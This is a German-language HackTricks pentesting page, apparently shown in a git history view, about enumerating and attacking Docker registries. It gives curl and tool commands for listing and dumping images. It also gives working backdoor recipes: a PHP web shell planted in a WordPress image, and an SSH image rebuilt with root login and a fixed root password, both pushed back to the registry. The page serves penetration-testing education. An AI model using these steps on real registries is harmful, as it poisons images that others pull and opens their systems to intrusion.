hacktricks/network-services-pentesting/5000-pentesting-docker-registry.md

279 lines
15 KiB
Markdown
Raw Normal View History

2024-02-10 15:36:32 +00:00
# 5000 - Pentesting Docker-Registry
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 15:36:32 +00:00
<summary><strong>Lernen Sie das Hacken von AWS von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 15:36:32 +00:00
## Grundlegende Informationen
2024-02-10 15:36:32 +00:00
Ein Speicher- und Verteilungssystem namens **Docker-Registry** ist für Docker-Images vorhanden, die benannt sind und in mehreren Versionen vorliegen können, die durch Tags unterschieden werden. Diese Images sind in **Docker-Repositories** im Registry organisiert, wobei jedes Repository verschiedene Versionen eines bestimmten Images speichert. Die bereitgestellte Funktionalität ermöglicht das Herunterladen von Images auf lokaler Ebene oder das Hochladen in das Registry, sofern der Benutzer über die erforderlichen Berechtigungen verfügt.
2024-02-10 15:36:32 +00:00
**DockerHub** dient als Standard-Public-Registry für Docker, aber Benutzer haben auch die Möglichkeit, eine lokale Version der Open-Source-Docker-Registry/-Distribution zu betreiben oder sich für das kommerziell unterstützte **Docker Trusted Registry** zu entscheiden. Darüber hinaus gibt es verschiedene andere öffentliche Registrierungen online.
2024-02-10 15:36:32 +00:00
Um ein Image aus einer lokalen Registry herunterzuladen, wird der folgende Befehl verwendet:
2024-02-08 21:36:50 +00:00
```bash
docker pull my-registry:9000/foo/bar:2.1
```
2024-02-10 15:36:32 +00:00
Dieser Befehl lädt das `foo/bar`-Image der Version `2.1` aus dem On-Premise-Registry auf der `my-registry`-Domain auf Port `9000` herunter. Um das gleiche Image von DockerHub herunterzuladen, insbesondere wenn `2.1` die neueste Version ist, vereinfacht sich der Befehl zu:
2024-02-08 21:36:50 +00:00
```bash
docker pull foo/bar
```
2024-02-10 15:36:32 +00:00
**Standardport:** 5000
```
PORT STATE SERVICE VERSION
5000/tcp open http Docker Registry (API: 2.0)
```
2024-02-10 15:36:32 +00:00
## Entdeckung
2024-02-10 15:36:32 +00:00
Der einfachste Weg, um diesen Dienst zu entdecken, besteht darin, ihn in der Ausgabe von nmap zu finden. Beachten Sie jedoch, dass es sich um einen auf HTTP basierenden Dienst handelt und sich hinter HTTP-Proxies befinden kann, die von nmap nicht erkannt werden.\
Einige Fingerabdrücke:
2024-02-10 15:36:32 +00:00
* Wenn Sie auf `/` zugreifen, wird in der Antwort nichts zurückgegeben.
* Wenn Sie auf `/v2/` zugreifen, wird `{}` zurückgegeben.
* Wenn Sie auf `/v2/_catalog` zugreifen, erhalten Sie möglicherweise:
* `{"repositories":["alpine","ubuntu"]}`
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
2024-02-10 15:36:32 +00:00
## Aufzählung
2022-05-01 13:25:53 +00:00
### HTTP/HTTPS
2024-02-10 15:36:32 +00:00
Der Docker-Registry kann so konfiguriert sein, dass er **HTTP** oder **HTTPS** verwendet. Das erste, was Sie tun müssen, ist also herauszufinden, welches davon konfiguriert ist:
```bash
curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
2024-02-10 15:36:32 +00:00
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
#If HTTP
{"repositories":["alpine","ubuntu"]}
```
2024-02-10 15:36:32 +00:00
### Authentifizierung
2024-02-10 15:36:32 +00:00
Der Docker-Registry kann auch so konfiguriert werden, dass eine **Authentifizierung** erforderlich ist:
```bash
curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required
{"repositories":["alpine","ubuntu"]}
```
2024-02-10 15:36:32 +00:00
Wenn die Docker Registry eine Authentifizierung erfordert, können Sie versuchen, sie mit [dieser Methode](../generic-methodologies-and-resources/brute-force.md#docker-registry) per Brute-Force anzugreifen.\
Wenn Sie gültige Anmeldeinformationen finden, müssen Sie diese verwenden, um die Registry aufzulisten. In `curl` können Sie sie wie folgt verwenden:
```bash
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
```
2024-02-10 15:36:32 +00:00
### Enumeration mit DockerRegistryGrabber
2024-02-10 15:36:32 +00:00
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) ist ein Python-Tool zum Durchsuchen / Dumpen des Docker-Registrierung (ohne oder mit grundlegender Authentifizierung).
```bash
python3 DockerGraber.py http://127.0.0.1 --list
[+] my-ubuntu
[+] my-ubuntu2
python3 DockerGraber.py http://127.0.0.1 --dump_all
[+] my-ubuntu
[+] my-ubuntu2
[+] blobSum found 5
[+] Dumping my-ubuntu
2024-02-10 15:36:32 +00:00
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
[+] blobSum found 5
[+] Dumping my-ubuntu2
2024-02-10 15:36:32 +00:00
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu
[+] blobSum found 5
[+] Dumping my-ubuntu
2024-02-10 15:36:32 +00:00
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
```
2024-02-10 15:36:32 +00:00
### Enumeration mit curl
2024-02-10 15:36:32 +00:00
Sobald Sie **Zugriff auf das Docker-Registry** erhalten haben, können Sie die folgenden Befehle verwenden, um sie aufzulisten:
```bash
#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
{"repositories":["alpine","ubuntu"]}
#Get tags of a repository
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}
#Get manifests
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
{
2024-02-10 15:36:32 +00:00
"schemaVersion": 1,
"name": "ubuntu",
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
}
],
"history": [
{
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
},
{
"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
}
],
"signatures": [
{
"header": {
"jwk": {
"crv": "P-256",
"kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
"kty": "EC",
"x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
"y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
},
"alg": "ES256"
},
"signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
"protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
}
]
}
#Download one of the previously listed blobs
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar
#Inspect the insides of each blob
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
```
{% hint style="warning" %}
2024-02-10 15:36:32 +00:00
Beachten Sie, dass beim Herunterladen und Entpacken der Blob-Dateien und -Ordner im aktuellen Verzeichnis angezeigt werden. **Wenn Sie alle Blobs herunterladen und in denselben Ordner entpacken, werden Werte von zuvor entpackten Blobs überschrieben**, seien Sie also vorsichtig. Es kann interessant sein, jeden Blob in einem separaten Ordner zu entpacken, um den genauen Inhalt jedes Blobs zu überprüfen.
{% endhint %}
2024-02-10 15:36:32 +00:00
### Enumeration mit Docker
```bash
#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu
#Check the commands used to create the layers of the image
docker history 10.10.10.10:5000/ubuntu
#IMAGE CREATED CREATED BY SIZE COMMENT
2024-02-10 15:36:32 +00:00
#ed05bef01522 2 years ago ./run.sh 46.8MB
#<missing> 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B
#<missing> 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B
#<missing> 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B
#<missing> 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB
#Run and get a shell
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
```
2024-02-10 15:36:32 +00:00
### Backdooring WordPress-Image
2024-02-10 15:36:32 +00:00
In dem Szenario, in dem Sie ein Docker-Registry finden, das ein WordPress-Image speichert, können Sie es mit einem Backdoor versehen.\
**Erstellen** Sie die **Backdoor**:
{% code title="shell.php" %}
```bash
<?php echo shell_exec($_GET["cmd"]); ?>
```
2024-02-10 15:36:32 +00:00
Erstellen Sie eine **Dockerfile**:
{% code title="Dockerfile" %}
```bash
FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php
```
{% endcode %}
2024-02-10 15:36:32 +00:00
**Erstellen** Sie das neue Image, **überprüfen** Sie, ob es erstellt wurde, und **pushen** Sie es:
```bash
docker build -t 10.10.10.10:5000/wordpress .
2024-02-10 15:36:32 +00:00
#Create
docker images
docker push registry:5000/wordpress #Push it
```
2024-02-10 15:36:32 +00:00
### Backdooring SSH-Server-Image
2024-02-10 15:36:32 +00:00
Angenommen, Sie haben ein Docker-Registry mit einem SSH-Image gefunden und möchten es mit einer Hintertür versehen.\
**Laden** Sie das Image herunter und **führen** Sie es aus:
```bash
docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli
```
2024-02-10 15:36:32 +00:00
Extrahiere die `sshd_config` Datei aus dem SSH-Image:
```bash
docker cp 4c989242c714:/etc/ssh/sshd_config .
```
2024-02-10 15:36:32 +00:00
Und ändern Sie es, um `PermitRootLogin yes` festzulegen.
2024-02-10 15:36:32 +00:00
Erstellen Sie eine **Dockerfile** wie die folgende:
{% tabs %}
{% tab title="Dockerfile" %}
```bash
FROM 10.10.10.10:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd
```
{% endtab %}
{% endtabs %}
2024-02-10 15:36:32 +00:00
**Erstellen** Sie das neue Image, **überprüfen** Sie, ob es erstellt wurde, und **pushen** Sie es:
```bash
docker build -t 10.10.10.10:5000/sshd-docker-cli .
2024-02-10 15:36:32 +00:00
#Create
docker images
docker push registry:5000/sshd-docker-cli #Push it
```
2024-02-10 15:36:32 +00:00
## Referenzen
2024-02-08 21:36:50 +00:00
* [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 15:36:32 +00:00
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
2022-04-28 16:01:33 +00:00
</details>